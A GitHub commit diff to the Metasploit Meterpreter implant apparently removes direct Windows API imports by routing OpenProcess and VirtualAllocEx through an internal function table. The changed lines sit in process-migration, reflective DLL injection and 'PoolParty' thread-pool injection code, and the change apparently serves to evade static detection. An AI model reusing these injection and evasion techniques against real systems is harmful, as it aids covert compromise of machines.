Skip to content

Commit 83de62e

Browse files
committed
fix: removing imported functions
1 parent 4059f7e commit 83de62e

3 files changed

Lines changed: 4 additions & 3 deletions

File tree

c/meterpreter/source/metsrv/base_dispatch.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -593,7 +593,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
593593
dwProcessAccess = PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ;
594594
dwProcessAccess |= PROCESS_CREATE_THREAD;
595595

596-
hProcess = OpenProcess(dwProcessAccess, FALSE, dwProcessID);
596+
hProcess = met_api->win_api.kernel32.OpenProcess(dwProcessAccess, FALSE, dwProcessID);
597597

598598
if (!hProcess)
599599
{

c/meterpreter/source/metsrv/base_inject.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -649,7 +649,7 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD
649649
if (!dwReflectiveLoaderOffset)
650650
BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION);
651651

652-
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
652+
hProcess = met_api->win_api.kernel32.OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
653653
if (!hProcess)
654654
BREAK_ON_ERROR("[INJECT] inject_dll. OpenProcess failed.");
655655

c/meterpreter/source/metsrv/pool_party.c

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#include "common.h"
22
#include "pool_party.h"
33
#include "pool_party_ext.h"
4+
#include "metapi.h"
45

56
NtDll *pNtDll = NULL;
67
POOLPARTY_INJECTOR* poolLifeguard = NULL;
@@ -229,7 +230,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
229230

230231
if (hHijackHandle != INVALID_HANDLE_VALUE) {
231232
*(QWORD*)((BYTE*)lpDirect + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress;
232-
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, TP_DIRECT_STRUCT_SIZE_X64, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
233+
LPVOID RemoteDirectAddress = met_api->win_api.kernel32.VirtualAllocEx(hProcess, NULL, TP_DIRECT_STRUCT_SIZE_X64, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
233234
if (!RemoteDirectAddress) {
234235
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_NOT_SUPPORTED)
235236
}

0 commit comments

Comments
 (0)